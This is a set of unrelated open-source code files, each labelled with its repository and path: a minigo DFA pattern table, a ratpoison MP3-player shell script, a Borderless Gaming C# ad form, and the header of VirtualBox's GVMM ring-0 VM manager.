{0,{465,0,0,0}}, {0,{325,325,469,325}}, {0,{329,0,470,0}}, {43,{0,0,471,0}}, {0,{0,0,0,472}}, {0,{473,0,0,0}}, {0,{474,474,474,474}}, {0,{475,475,475,0}}, {0,{476,476,476,476}}, {0,{477,477,477,477}}, {0,{0,478,0,0}}, {0,{0,0,479,0}}, {44,{0,0,0,0}}, {0,{325,325,481,325}}, {0,{482,0,484,0}}, {0,{483,209,209,209}}, {0,{385,385,418,0}}, {45,{485,0,0,0}}, {0,{385,385,385,0}}, {0,{487,489,514,431}}, {0,{434,434,434,488}}, {0,{326,435,362,0}}, {0,{490,325,328,361}}, {0,{326,0,491,0}}, {46,{0,492,0,0}}, {0,{493,493,493,0}}, {0,{494,494,494,0}}, {0,{495,495,495,495}}, {0,{0,0,496,0}}, {0,{0,0,0,497}}, {0,{0,0,0,498}}, {0,{499,0,0,0}}, {0,{500,0,0,0}}, {0,{0,0,501,0}}, {0,{0,0,0,502}}, {0,{503,503,503,503}}, {0,{504,504,504,0}}, {0,{505,505,505,505}}, {0,{506,506,506,506}}, {0,{507,507,507,507}}, {0,{0,0,0,508}}, {0,{0,0,0,509}}, {0,{0,0,0,510}}, {0,{0,0,0,511}}, {0,{0,0,0,512}}, {0,{0,0,513,0}}, {47,{0,0,0,0}}, {0,{325,325,481,361}}, {0,{431,516,480,431}}, {0,{325,325,328,325}}, {0,{518,562,565,567}}, {0,{519,544,548,544}}, {0,{520,531,532,539}}, {0,{326,521,0,0}}, {0,{522,522,530,522}}, {0,{0,0,0,523}}, {0,{0,0,524,0}}, {0,{525,525,525,525}}, {0,{526,526,526,526}}, {0,{527,527,527,527}}, {0,{528,528,528,528}}, {0,{0,0,529,0}}, {48,{0,0,0,0}}, {0,{214,214,214,523}}, {0,{326,435,0,0}}, {0,{326,435,533,0}}, {0,{0,0,534,0}}, {0,{535,535,535,535}}, {0,{0,0,536,0}}, {0,{0,0,537,0}}, {0,{0,0,538,0}}, {49,{0,0,0,0}}, {0,{540,543,321,321}}, {0,{541,209,209,209}}, {0,{323,323,542,323}}, {0,{269,269,269,269}}, {0,{322,0,213,0}}, {0,{545,547,547,547}}, {0,{326,546,0,0}}, {0,{522,522,522,522}}, {0,{326,0,0,0}}, {0,{549,547,560,547}}, {0,{326,546,550,0}}, {0,{551,0,0,0}}, {0,{552,552,552,552}}, {0,{553,553,553,553}}, {0,{554,554,554,554}}, {0,{555,555,555,555}}, {0,{556,556,556,556}}, {0,{557,557,557,557}}, {0,{0,0,558,0}}, {0,{559,0,0,0}}, {50,{0,0,0,0}}, {0,{482,0,561,0}}, {0,{485,0,0,0}}, {0,{563,544,548,544}}, {0,{520,531,531,564}}, {0,{437,464,467,467}}, {0,{566,544,548,544}}, {0,{520,531,531,531}}, {0,{568,568,569,568}}, {0,{547,547,547,547}}, {0,{570,547,560,547}}, {0,{326,0,550,0}}, {0,{572,632,637,647}}, {0,{573,626,629,0}}, {0,{574,574,576,589}}, {0,{575,211,575,0}}, {0,{212,0,0,0}}, {0,{577,211,588,0}}, {0,{212,0,578,0}}, {0,{579,0,0,0}}, {0,{580,580,580,580}}, {0,{581,581,581,581}}, {0,{582,582,582,582}}, {0,{583,583,583,583}}, {0,{584,584,584,584}}, {0,{0,0,585,0}}, {0,{586,586,586,0}}, {0,{0,0,587,0}}, {51,{0,0,0,0}}, {0,{212,0,534,0}}, {0,{590,278,625,321}}, {0,{591,0,0,0}}, {0,{592,251,251,251}}, {0,{593,593,624,252}}, {0,{594,623,594,0}}, {0,{0,0,595,0}}, {0,{0,596,0,0}}, {0,{0,0,0,597}}, {0,{0,0,0,598}}, {0,{0,0,0,599}}, {0,{600,0,0,0}}, {0,{601,0,0,0}}, {0,{602,602,602,602}}, {0,{0,603,0,0}}, {0,{604,604,604,0}}, {0,{605,605,605,605}}, {0,{0,0,606,0}}, {0,{0,607,0,0}}, {0,{0,0,0,608}}, {0,{0,0,0,609}}, {0,{0,0,0,610}}, {0,{0,0,0,611}}, {0,{0,0,0,612}}, {0,{0,0,0,613}}, {0,{614,614,614,614}}, {0,{0,0,0,615}}, {0,{616,616,616,616}}, {0,{617,617,617,617}}, {0,{618,618,618,0}}, {0,{619,619,619,619}}, {0,{620,620,620,620}}, {0,{621,621,621,621}}, {0,{0,0,622,0}}, {52,{0,0,0,0}}, {0,{254,0,595,0}}, {0,{594,623,594,178}}, {0,{279,0,0,0}}, {0,{0,0,627,0}}, {0,{628,0,0,0}}, {0,{0,0,578,0}}, {0,{0,0,630,0}}, {0,{631,0,561,0}}, {0,{485,0,578,0}}, {0,{633,626,629,0}}, {0,{634,634,635,636}}, {0,{0,435,0,0}}, {0,{628,435,0,0}}, {0,{467,464,467,467}}, {0,{638,644,629,0}}, {0,{634,634,635,639}}, {0,{640,435,0,0}}, {0,{641,0,0,0}}, {0,{642,0,0,0}}, {0,{643,643,643,0}}, {0,{594,594,594,0}}, {0,{645,0,627,0}}, {0,{0,0,646,0}}, {0,{0,492,0,0}}, {0,{626,626,629,0}}, {0,{649,652,0,0}}, {0,{650,0,0,0}}, {0,{0,0,0,651}}, {0,{321,321,321,321}}, {0,{653,0,0,0}}, {0,{0,0,0,654}}, {0,{467,467,467,467}}, {0,{656,827,870,0}}, {55,{657,774,798,826}}, {0,{658,719,738,771}}, {0,{659,659,709,717}}, {0,{660,701,707,0}}, {0,{209,209,661,209}}, {0,{662,662,685,662}}, {0,{663,670,663,0}}, {0,{664,664,664,664}}, {0,{0,0,665,0}}, {0,{0,0,0,666}}, {0,{0,0,0,667}}, {0,{668,0,668,0}}, {0,{0,669,0,0}}, {56,{0,0,0,0}}, {0,{671,671,671,671}}, {0,{0,0,672,0}}, {0,{673,0,0,666}}, {0,{674,674,674,674}}, {0,{675,675,675,675}}, {0,{676,676,676,676}}, {0,{677,677,677,677}}, {0,{0,0,678,0}}, {0,{679,679,679,679}}, {0,{680,680,680,680}}, {0,{681,681,681,681}}, {0,{682,682,682,682}}, {0,{683,683,683,683}}, {0,{0,0,684,0}}, {57,{0,0,0,0}}, {0,{686,693,686,193}}, {0,{687,687,687,687}}, {0,{195,195,688,195}}, {0,{196,196,196,689}}, {0,{197,197,197,690}}, {0,{691,198,691,198}}, {0,{199,692,199,199}}, {58,{200,200,0,0}}, {0,{694,694,694,694}}, {0,{195,195,695,195}}, {0,{696,196,196,689}}, {0,{697,697,697,697}}, {0,{698,698,698,698}}, {0,{699,699,699,699}}, {0,{700,700,677,677}}, {59,{0,0,678,0}}, {0,{0,0,702,0}}, {0,{703,703,703,703}}, {0,{0,704,0,0}}, {0,{705,705,705,705}}, {0,{0,0,706,0}}, {0,{673,0,0,0}}, {60,{0,0,708,0}}, {0,{662,662,662,662}}, {0,{710,701,716,0}}, {0,{209,209,711,209}}, {0,{703,703,712,703}}, {0,{193,713,193,193}}, {0,{714,714,714,714}}, {0,{195,195,715,195}}, {0,{696,196,196,196}}, {61,{0,0,702,0}}, {0,{710,701,718,0}}, {63,{0,0,702,0}}, {0,{325,325,325,720}}, {0,{326,0,721,0}}, {65,{722,0,0,0}}, {0,{723,723,723,723}}, {0,{0,0,724,0}}, {0,{0,0,725,0}}, {0,{0,726,0,0}}, {0,{0,0,0,727}}, {0,{0,0,0,728}}, {0,{0,0,0,729}}, {0,{0,0,0,730}}, {0,{731,731,731,731}}, {0,{0,0,0,732}}, {0,{733,733,733,733}}, {0,{734,734,734,734}}, {0,{735,0,735,0}}, {0,{736,736,736,736}}, {0,{0,0,737,0}}, {66,{0,0,0,0}}, {0,{739,739,739,769}}, {0,{365,379,740,379}}, {67,{741,741,741,380}}, {0,{0,742,0,0}}, {0,{368,743,0,0}}, {0,{0,0,744,0}}, {0,{0,0,745,0}}, {0,{746,746,746,746}}, {0,{747,747,747,747}}, {0,{0,0,748,0}}, {0,{749,749,749,0}}, {0,{750,0,0,0}}, {0,{751,751,751,751}}, {0,{0,0,0,752}}, {0,{0,0,753,0}}, {0,{0,0,754,0}}, {0,{755,755,755,755}}, {0,{756,756,756,0}}, {0,{757,757,757,757}}, {0,{758,758,758,758}}, {0,{759,759,759,759}}, {0,{760,760,760,760}}, {0,{761,761,761,761}}, {0,{0,0,762,0}}, {0,{763,763,763,763}}, {0,{0,0,0,764}}, {0,{765,765,765,765}}, {0,{0,0,0,766}}, {0,{0,0,0,767}}, {0,{0,0,768,0}}, {68,{0,0,0,0}}, {0,{365,379,770,379}}, {70,{380,380,380,380}}, {0,{325,325,325,772}}, {0,{326,0,773,0}}, {72,{0,0,0,0}}, {0,{775,771,771,771}}, {0,{776,783,325,772}}, {0,{777,0,781,0}}, {0,{209,209,778,209}}, {0,{779,779,780,779}}, {0,{663,663,663,0}}, {0,{686,686,686,193}}, {73,{0,0,782,0}}, {0,{779,779,779,779}}, {0,{777,0,784,0}}, {74,{0,0,785,0}}, {0,{779,779,779,786}}, {0,{663,787,663,0}}, {0,{788,788,788,788}}, {0,{789,789,794,0}}, {0,{790,790,790,790}}, {0,{0,0,0,791}}, {0,{792,0,0,0}}, {0,{0,0,793,0}}, {75,{0,0,0,0}}, {0,{790,790,790,795}}, {0,{0,0,0,796}}, {0,{797,0,668,0}}, {0,{0,669,793,0}}, {0,{799,825,825,825}}, {0,{800,800,821,823}}, {0,{777,0,801,0}}, {76,{802,802,812,802}}, {0,{0,0,803,0}}, {0,{804,0,0,0}}, {0,{805,805,805,805}}, {0,{806,806,806,806}}, {0,{807,807,807,807}}, {0,{808,808,808,808}}, {0,{809,809,809,809}}, {0,{810,810,810,810}}, {0,{811,0,0,0}}, {77,{0,0,0,0}}, {0,{779,779,813,779}}, {0,{814,663,663,0}}, {0,{815,815,815,815}}, {0,{806,806,816,806}}, {0,{807,807,807,817}}, {0,{808,808,808,818}}, {0,{819,809,819,809}}, {0,{810,820,810,810}}, {78,{811,0,0,0}}, {0,{326,0,822,0}}, {79,{802,802,802,802}}, {0,{326,0,824,0}}, {81,{802,802,802,802}}, {0,{821,821,821,823}}, {0,{771,771,771,771}}, {0,{828,847,867,869}}, {0,{829,568,833,568}}, {0,{830,830,832,832}}, {0,{660,701,831,0}}, {0,{0,0,708,0}}, {0,{710,701,701,0}}, {0,{547,547,547,834}}, {0,{326,0,835,0}}, {0,{836,0,0,0}}, {0,{837,837,837,0}}, {0,{838,838,838,838}}, {0,{839,839,839,839}}, {0,{840,840,840,840}}, {0,{0,0,841,0}}, {0,{0,0,0,842}}, {0,{0,0,0,843}}, {0,{0,0,0,844}}, {0,{845,0,0,0}}, {0,{0,846,0,0}}, {82,{0,0,0,0}}, {0,{848,568,833,568}}, {0,{849,849,851,547}}, {0,{777,0,850,0}}, {0,{0,0,782,0}}, {0,{326,0,852,0}}, {0,{853,0,0,0}}, {0,{0,0,854,0}}, {0,{855,0,0,0}}, {0,{0,0,856,0}}, {0,{0,0,857,0}}, {0,{0,0,858,0}}, {0,{859,859,859,859}}, {0,{860,860,860,0}}, {0,{0,0,861,0}}, {0,{862,862,862,0}}, {0,{0,0,863,0}}, {0,{864,864,864,864}}, {0,{0,0,865,0}}, {0,{0,0,866,0}}, {84,{0,0,0,0}}, {0,{868,568,833,568}}, {0,{849,849,547,547}}, {0,{568,568,833,568}}, {0,{871,891,901,915}}, {0,{872,875,878,0}}, {0,{873,873,874,874}}, {0,{831,701,831,0}}, {0,{701,701,701,0}}, {0,{0,0,0,876}}, {0,{0,0,877,0}}, {0,{722,0,0,0}}, {0,{0,0,0,879}}, {0,{880,0,0,0}}, {0,{881,0,0,0}}, {0,{882,0,0,0}}, {0,{883,883,883,883}}, {0,{884,884,884,884}}, {0,{885,885,885,885}}, {0,{886,886,886,886}}, {0,{0,0,0,887}}, {0,{0,0,0,888}}, {0,{0,0,0,889}}, {0,{890,0,0,0}}, {85,{0,0,0,0}}, {0,{892,0,878,0}}, {0,{893,893,900,900}}, {0,{850,894,850,0}}, {0,{0,0,895,0}}, {0,{0,0,0,896}}, {0,{897,0,0,0}}, {0,{898,898,898,898}}, {0,{0,0,899,0}}, {86,{0,0,0,0}}, {0,{0,894,0,0}}, {0,{902,0,878,0}}, {0,{903,914,0,0}}, {0,{850,0,904,0}}, {0,{0,0,905,0}}, {0,{906,906,906,906}}, {0,{907,907,907,0}}, {0,{908,908,908,908}}, {0,{0,0,909,0}}, {0,{0,0,0,910}}, {0,{0,0,0,911}}, {0,{668,912,668,0}}, {0,{0,913,0,0}}, {87,{0,0,0,0}}, {0,{850,0,850,0}}, {0,{0,0,878,0}}, {0,{917,1069,1069,0}}, {90,{918,999,1062,0}}, {0,{919,991,992,991}}, {0,{920,965,967,965}}, {0,{0,0,921,0}}, {0,{922,935,922,922}}, {0,{0,0,923,0}}, {0,{0,0,924,0}}, {0,{925,925,925,925}}, {0,{926,926,926,926}}, {0,{927,927,927,927}}, {0,{928,928,928,928}}, {0,{929,929,929,929}}, {0,{930,930,930,930}}, {0,{0,931,0,0}}, {0,{932,932,932,932}}, {0,{933,933,933,933}}, {0,{934,0,934,0}}, {91,{0,0,0,0}}, {0,{936,936,957,0}}, {0,{937,937,937,0}}, {0,{938,938,938,938}}, {0,{939,0,939,0}}, {0,{0,0,0,940}}, {0,{0,0,0,941}}, {0,{942,0,0,0}}, {0,{0,0,943,0}}, {0,{944,0,944,0}}, {0,{0,0,0,945}}, {0,{946,946,946,946}}, {0,{947,947,947,0}}, {0,{948,948,948,948}}, {0,{949,949,949,949}}, {0,{950,950,950,950}}, {0,{0,0,0,951}}, {0,{0,0,0,952}}, {0,{0,0,0,953}}, {0,{0,0,0,954}}, {0,{0,0,0,955}}, {0,{956,0,956,0}}, {92,{0,0,0,0}}, {0,{937,937,958,0}}, {0,{959,959,959,959}}, {0,{960,926,960,926}}, {0,{927,927,927,961}}, {0,{928,928,928,962}}, {0,{963,929,929,929}}, {0,{930,930,964,930}}, {0,{944,931,944,0}}, {0,{0,0,966,0}}, {0,{922,922,922,922}}, {0,{968,0,966,0}}, {0,{969,969,969,969}}, {0,{970,0,0,0}}, {0,{0,0,971,0}}, {0,{972,972,972,972}}, {0,{973,973,973,973}}, {0,{974,974,974,974}}, {0,{0,0,0,975}}, {0,{0,976,0,0}}, {0,{977,977,977,977}}, {0,{0,0,978,0}}, {0,{979,979,979,979}}, {0,{0,0,0,980}}, {0,{0,0,981,0}}, {0,{982,982,982,982}}, {0,{983,983,983,983}}, {0,{984,984,984,984}}, {0,{985,985,985,985}}, {0,{986,986,986,986}}, {0,{0,0,0,987}}, {0,{0,0,0,988}}, {0,{0,0,0,989}}, {0,{990,0,0,0}}, {93,{0,0,0,0}}, {0,{965,965,967,965}}, {0,{993,993,996,993}}, {0,{379,379,994,379}}, {0,{995,995,995,995}}, {0,{0,367,923,0}}, {0,{997,379,994,379}}, {0,{998,998,998,998}}, {0,{970,367,0,0}}, {0,{1000,1056,1000,1000}}, {0,{1001,1001,1031,0}}, {0,{1002,0,0,0}}, {0,{1003,1003,1003,1003}}, {0,{0,0,1004,0}}, {0,{0,0,1005,0}}, {0,{1006,1006,1006,0}}, {0,{1007,1007,1007,1007}}, {0,{1008,1008,1008,1008}}, {0,{1009,1009,1009,1009}}, {0,{1010,1010,1010,0}}, {0,{1011,1011,1011,1011}}, {0,{1012,0,0,0}}, {0,{1013,1013,1013,1013}}, {0,{0,0,0,1014}}, {0,{1015,0,0,0}}, {0,{0,1016,0,0}}, {0,{1017,1017,1017,1017}}, {0,{1018,1018,1018,1018}}, {0,{1019,1019,1019,1019}}, {0,{1020,1020,1020,1020}}, {0,{1021,1021,1021,1021}}, {0,{1022,1022,1022,1022}}, {0,{1023,1023,1023,1023}}, {0,{1024,0,0,0}}, {0,{1025,1025,1025,1025}}, {0,{0,0,0,1026}}, {0,{1027,1027,1027,1027}}, {0,{0,0,0,1028}}, {0,{0,0,0,1029}}, {0,{1030,0,0,0}}, {94,{0,0,0,0}}, {0,{1032,0,0,0}}, {0,{1033,1033,1033,1033}}, {0,{1034,0,1004,0}}, {0,{0,0,1035,0}}, {0,{1036,1036,1036,1036}}, {0,{1037,1037,1037,1037}}, {0,{1038,1038,1038,1038}}, {0,{1039,1039,1039,1055}}, {0,{1040,0,0,0}}, {0,{1041,1041,1041,1041}}, {0,{1042,0,0,0}}, {0,{1043,1043,1043,1043}}, {0,{1044,1044,1044,1044}}, {0,{1045,0,1045,0}}, {0,{1046,1046,1046,1046}}, {0,{1047,1047,1047,1047}}, {0,{1048,1048,1048,1048}}, {0,{1049,1049,1049,1049}}, {0,{1050,1050,1050,1050}}, {0,{1051,1051,1051,1051}}, {0,{1052,1052,1052,1052}}, {0,{1053,1053,1053,1053}}, {0,{1054,0,0,0}}, {95,{0,0,0,0}}, {0,{1040,976,0,0}}, {0,{1001,1001,1031,1057}}, {0,{0,1058,0,0}}, {0,{1059,0,0,0}}, {0,{1060,1060,1060,1060}}, {0,{0,0,1061,0}}, {96,{0,0,0,0}}, {0,{1063,1068,1068,1068}}, {0,{1064,0,1067,0}}, {0,{0,0,1065,0}}, {0,{0,1066,0,0}}, {0,{936,936,936,0}}, {0,{968,0,0,0}}, {0,{0,0,1067,0}}, {0,{1070,0,1070,0}}, {0,{1071,0,0,0}}, {0,{1064,0,0,0}}, {0,{1073,0,0,0}}, {99,{1074,0,0,0}}, {0,{0,0,1075,0}}, {0,{1076,1076,1076,1076}}, {0,{379,379,379,379}}, }; static attrib_t idx_owl_vital_apat[100] = { {-1,0}, {22,0}, {20,0}, {34,0}, {47,0}, {16,0}, {29,0}, {47,0}, {28,0}, {10,0}, {23,0}, {9,10}, {8,11}, {15,0}, {44,0}, {44,0}, {46,0}, {49,0}, {0,0}, {49,0}, {42,0}, {19,0}, {0,0}, {19,0}, {0,23}, {38,0}, {44,0}, {49,0}, {1,0}, {37,0}, {49,0}, {18,0}, {44,0}, {49,0}, {48,0}, {49,0}, {27,0}, {48,0}, {49,0}, {49,0}, {21,0}, {44,0}, {49,0}, {49,0}, {32,0}, {49,0}, {49,0}, {3,0}, {33,0}, {19,0}, {41,0}, {30,0}, {2,0}, {23,0}, {9,53}, {8,54}, {4,0}, {17,0}, {4,0}, {44,0}, {49,0}, {49,0}, {49,0}, {45,62}, {49,0}, {45,64}, {6,0}, {49,0}, {36,0}, {49,0}, {45,69}, {49,0}, {45,71}, {49,0}, {49,0}, {24,0}, {49,0}, {14,0}, {4,0}, {49,0}, {49,0}, {45,80}, {5,0}, {25,0}, {26,83}, {43,0}, {39,0}, {12,0}, {23,0}, {9,88}, {8,89}, {7,0}, {11,0}, {35,0}, {31,0}, {40,0}, {13,0}, {23,0}, {9,97}, {8,98}, }; static struct dfa dfa_owl_vital_apat = { "owl_vital_apat", state_owl_vital_apat, 1077, 1076, idx_owl_vital_apat, 100, 99}; struct pattern_db owl_vital_apat_db = { -1, owl_vital_apat ,& dfa_owl_vital_apat }; /* mgena==========================================================*/
gennady-em/minigo
src/patterns2.c
C
gpl-2.0
775,073
#!/bin/bash MUSIC=/home/yourhome/ name=`ratpoison -c "prompt Play "` echo $name if [ -z "$name" ] then ratpoison -c "echo Nothing to play" exit 0 fi #killall mplayer trap 'killall mplayer ; ratpoison -c "echo Stopped playing"' KILL trap 'killall mplayer ; ratpoison -c "echo Stopped playing"' STOP trap 'killall mplayer ; ratpoison -c "echo Stopped playing"' TERM i=1 declare -a playlist find $MUSIC -type f -iname "*$name*mp3" -print | sort | ( read x while [ -n "$x" ] do playlist[${i}]="$x" i=`expr $i + 1` read x done for i in `seq 1 "${#playlist[*]}"` do ratpoison -c "echo NP: ${playlist[i]#$MUSIC}" & mplayer "${playlist[i]}" done ratpoison -c "echo Finished playing" )
jbaber/ratpoison_scripts
play.sh/play.sh
Shell
gpl-2.0
709
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using BorderlessGaming.Logic.Models; using BorderlessGaming.Logic.System; namespace BorderlessGaming.Forms { public partial class Rainway : Form { public Rainway() { SetStyle(ControlStyles.OptimizedDoubleBuffer, true); InitializeComponent(); } private void Rainway_Load(object sender, EventArgs e) { } private void Rainway_Click(object sender, EventArgs e) { Tools.GotoSite("https://rainway.io/?ref=borderlessgaming2"); this.Close(); } private void checkBox1_CheckedChanged(object sender, EventArgs e) { var checkbox = (CheckBox) sender; Config.Instance.AppSettings.ShowAdOnStart = checkbox.Checked != true; } private void Rainway_MouseEnter(object sender, EventArgs e) { Cursor = Cursors.Hand; } private void Rainway_FormClosing(object sender, FormClosingEventArgs e) { Config.Instance.AppSettings.ShowAdOnStart = false; Config.Save(); } } }
Codeusa/Borderless-Gaming
BorderlessGaming/Forms/Rainway.cs
C#
gpl-2.0
1,330
/* $Id$ */ /** @file * GVMM - Global VM Manager. */ /* * Copyright (C) 2007-2010 Oracle Corporation * * This file is part of VirtualBox Open Source Edition (OSE), as * available from http://www.virtualbox.org. This file is free software; * you can redistribute it and/or modify it under the terms of the GNU * General Public License (GPL) as published by the Free Software * Foundation, in version 2 as it comes in the "COPYING" file of the * VirtualBox OSE distribution. VirtualBox OSE is distributed in the * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind. */ /** @page pg_gvmm GVMM - The Global VM Manager * * The Global VM Manager lives in ring-0. Its main function at the moment is * to manage a list of all running VMs, keep a ring-0 only structure (GVM) for * each of them, and assign them unique identifiers (so GMM can track page * owners). The GVMM also manage some of the host CPU resources, like the the * periodic preemption timer. * * The GVMM will create a ring-0 object for each VM when it is registered, this * is both for session cleanup purposes and for having a point where it is * possible to implement usage polices later (in SUPR0ObjRegister). * * * @section sec_gvmm_ppt Periodic Preemption Timer (PPT) * * On system that sports a high resolution kernel timer API, we use per-cpu * timers to generate interrupts that preempts VT-x, AMD-V and raw-mode guest * execution. The timer frequency is calculating by taking the max * TMCalcHostTimerFrequency for all VMs running on a CPU for the last ~160 ms * (RT_ELEMENTS((PGVMMHOSTCPU)0, Ppt.aHzHistory) * * GVMMHOSTCPU_PPT_HIST_INTERVAL_NS). * * The TMCalcHostTimerFrequency() part of the things gets its takes the max * TMTimerSetFrequencyHint() value and adjusts by the current catch-up percent, * warp drive percent and some fudge factors. VMMR0.cpp reports the result via * GVMMR0SchedUpdatePeriodicPreemptionTimer() before switching to the VT-x, * AMD-V and raw-mode execution environments. */ /******************************************************************************* * Header Files * *******************************************************************************/ #define LOG_GROUP LOG_GROUP_GVMM #include <VBox/vmm/gvmm.h> #include <VBox/vmm/gmm.h> #include "GVMMR0Internal.h" #include <VBox/vmm/gvm.h> #include <VBox/vmm/vm.h> #include <VBox/vmm/vmm.h> #include <VBox/param.h> #include <VBox/err.h> #include <iprt/asm.h> #include <iprt/asm-amd64-x86.h> #include <iprt/mem.h> #include <iprt/semaphore.h> #include <iprt/time.h> #include <VBox/log.h> #include <iprt/thread.h> #include <iprt/process.h> #include <iprt/param.h> #include <iprt/string.h> #include <iprt/assert.h> #include <iprt/mem.h> #include <iprt/memobj.h> #include <iprt/mp.h> #include <iprt/cpuset.h> #include <iprt/spinlock.h> #include <iprt/timer.h> /******************************************************************************* * Defined Constants And Macros * *******************************************************************************/ #if defined(RT_OS_LINUX) || defined(DOXYGEN_RUNNING) /** Define this to enable the periodic preemption timer. */ # define GVMM_SCHED_WITH_PPT #endif /******************************************************************************* * Structures and Typedefs * *******************************************************************************/ /** * Global VM handle. */ typedef struct GVMHANDLE { /** The index of the next handle in the list (free or used). (0 is nil.) */ uint16_t volatile iNext; /** Our own index / handle value. */ uint16_t iSelf; /** The process ID of the handle owner. * This is used for access checks. */ RTPROCESS ProcId; /** The pointer to the ring-0 only (aka global) VM structure. */ PGVM pGVM; /** The ring-0 mapping of the shared VM instance data. */ PVM pVM; /** The virtual machine object. */ void *pvObj; /** The session this VM is associated with. */ PSUPDRVSESSION pSession; /** The ring-0 handle of the EMT0 thread. * This is used for ownership checks as well as looking up a VM handle by thread * at times like assertions. */ RTNATIVETHREAD hEMT0; } GVMHANDLE; /** Pointer to a global VM handle. */ typedef GVMHANDLE *PGVMHANDLE; /** Number of GVM handles (including the NIL handle). */ #if HC_ARCH_BITS == 64 # define GVMM_MAX_HANDLES 8192 #else # define GVMM_MAX_HANDLES 128 #endif /** * Per host CPU GVMM data. */ typedef struct GVMMHOSTCPU { /** Magic number (GVMMHOSTCPU_MAGIC). */ uint32_t volatile u32Magic; /** The CPU ID. */ RTCPUID idCpu; /** The CPU set index. */ uint32_t idxCpuSet; #ifdef GVMM_SCHED_WITH_PPT /** Periodic preemption timer data. */ struct { /** The handle to the periodic preemption timer. */ PRTTIMER pTimer; /** Spinlock protecting the data below. */ RTSPINLOCK hSpinlock; /** The smalles Hz that we need to care about. (static) */ uint32_t uMinHz; /** The number of ticks between each historization. */ uint32_t cTicksHistoriziationInterval; /** The current historization tick (counting up to * cTicksHistoriziationInterval and then resetting). */ uint32_t iTickHistorization; /** The current timer interval. This is set to 0 when inactive. */ uint32_t cNsInterval; /** The current timer frequency. This is set to 0 when inactive. */ uint32_t uTimerHz; /** The current max frequency reported by the EMTs. * This gets historicize and reset by the timer callback. This is * read without holding the spinlock, so needs atomic updating. */ uint32_t volatile uDesiredHz; /** Whether the timer was started or not. */ bool volatile fStarted; /** Set if we're starting timer. */ bool volatile fStarting; /** The index of the next history entry (mod it). */ uint32_t iHzHistory; /** Historicized uDesiredHz values. The array wraps around, new entries * are added at iHzHistory. This is updated approximately every * GVMMHOSTCPU_PPT_HIST_INTERVAL_NS by the timer callback. */ uint32_t aHzHistory[8]; /** Statistics counter for recording the number of interval changes. */ uint32_t cChanges; /** Statistics counter for recording the number of timer starts. */ uint32_t cStarts; } Ppt; #endif /* GVMM_SCHED_WITH_PPT */ } GVMMHOSTCPU; /** Pointer to the per host CPU GVMM data. */ typedef GVMMHOSTCPU *PGVMMHOSTCPU; /** The GVMMHOSTCPU::u32Magic value (Petra, Tanya & Rachel Haden). */ #define GVMMHOSTCPU_MAGIC UINT32_C(0x19711011) /** The interval on history entry should cover (approximately) give in * nanoseconds. */ #define GVMMHOSTCPU_PPT_HIST_INTERVAL_NS UINT32_C(20000000) /** * The GVMM instance data. */ typedef struct GVMM { /** Eyecatcher / magic. */ uint32_t u32Magic; /** The index of the head of the free handle chain. (0 is nil.) */ uint16_t volatile iFreeHead; /** The index of the head of the active handle chain. (0 is nil.) */ uint16_t volatile iUsedHead; /** The number of VMs. */ uint16_t volatile cVMs; /** Alignment padding. */ uint16_t u16Reserved; /** The number of EMTs. */ uint32_t volatile cEMTs; /** The number of EMTs that have halted in GVMMR0SchedHalt. */ uint32_t volatile cHaltedEMTs; /** Alignment padding. */ uint32_t u32Alignment; /** When the next halted or sleeping EMT will wake up. * This is set to 0 when it needs recalculating and to UINT64_MAX when * there are no halted or sleeping EMTs in the GVMM. */ uint64_t uNsNextEmtWakeup; /** The lock used to serialize VM creation, destruction and associated events that * isn't performance critical. Owners may acquire the list lock. */ RTSEMFASTMUTEX CreateDestroyLock; /** The lock used to serialize used list updates and accesses. * This indirectly includes scheduling since the scheduler will have to walk the * used list to examin running VMs. Owners may not acquire any other locks. */ RTSEMFASTMUTEX UsedLock; /** The handle array. * The size of this array defines the maximum number of currently running VMs. * The first entry is unused as it represents the NIL handle. */ GVMHANDLE aHandles[GVMM_MAX_HANDLES]; /** @gcfgm{/GVMM/cEMTsMeansCompany, 32-bit, 0, UINT32_MAX, 1} * The number of EMTs that means we no longer consider ourselves alone on a * CPU/Core. */ uint32_t cEMTsMeansCompany; /** @gcfgm{/GVMM/MinSleepAlone,32-bit, 0, 100000000, 750000, ns} * The minimum sleep time for when we're alone, in nano seconds. */ uint32_t nsMinSleepAlone; /** @gcfgm{/GVMM/MinSleepCompany,32-bit,0, 100000000, 15000, ns} * The minimum sleep time for when we've got company, in nano seconds. */ uint32_t nsMinSleepCompany; /** @gcfgm{/GVMM/EarlyWakeUp1, 32-bit, 0, 100000000, 25000, ns} * The limit for the first round of early wakeups, given in nano seconds. */ uint32_t nsEarlyWakeUp1; /** @gcfgm{/GVMM/EarlyWakeUp2, 32-bit, 0, 100000000, 50000, ns} * The limit for the second round of early wakeups, given in nano seconds. */ uint32_t nsEarlyWakeUp2; /** The number of entries in the host CPU array (aHostCpus). */ uint32_t cHostCpus; /** Per host CPU data (variable length). */ GVMMHOSTCPU aHostCpus[1]; } GVMM; /** Pointer to the GVMM instance data. */ typedef GVMM *PGVMM; /** The GVMM::u32Magic value (Charlie Haden). */ #define GVMM_MAGIC 0x19370806 /******************************************************************************* * Global Variables * *******************************************************************************/ /** Pointer to the GVMM instance data. * (Just my general dislike for global variables.) */ static PGVMM g_pGVMM = NULL; /** Macro for obtaining and validating the g_pGVMM pointer. * On failure it will return from the invoking function with the specified return value. * * @param pGVMM The name of the pGVMM variable. * @param rc The return value on failure. Use VERR_INTERNAL_ERROR for * VBox status codes. */ #define GVMM_GET_VALID_INSTANCE(pGVMM, rc) \ do { \ (pGVMM) = g_pGVMM;\ AssertPtrReturn((pGVMM), (rc)); \ AssertMsgReturn((pGVMM)->u32Magic == GVMM_MAGIC, ("%p - %#x\n", (pGVMM), (pGVMM)->u32Magic), (rc)); \ } while (0) /** Macro for obtaining and validating the g_pGVMM pointer, void function variant. * On failure it will return from the invoking function. * * @param pGVMM The name of the pGVMM variable. */ #define GVMM_GET_VALID_INSTANCE_VOID(pGVMM) \ do { \ (pGVMM) = g_pGVMM;\ AssertPtrReturnVoid((pGVMM)); \ AssertMsgReturnVoid((pGVMM)->u32Magic == GVMM_MAGIC, ("%p - %#x\n", (pGVMM), (pGVMM)->u32Magic)); \ } while (0) /******************************************************************************* * Internal Functions * *******************************************************************************/ static void gvmmR0InitPerVMData(PGVM pGVM); static DECLCALLBACK(void) gvmmR0HandleObjDestructor(void *pvObj, void *pvGVMM, void *pvHandle); 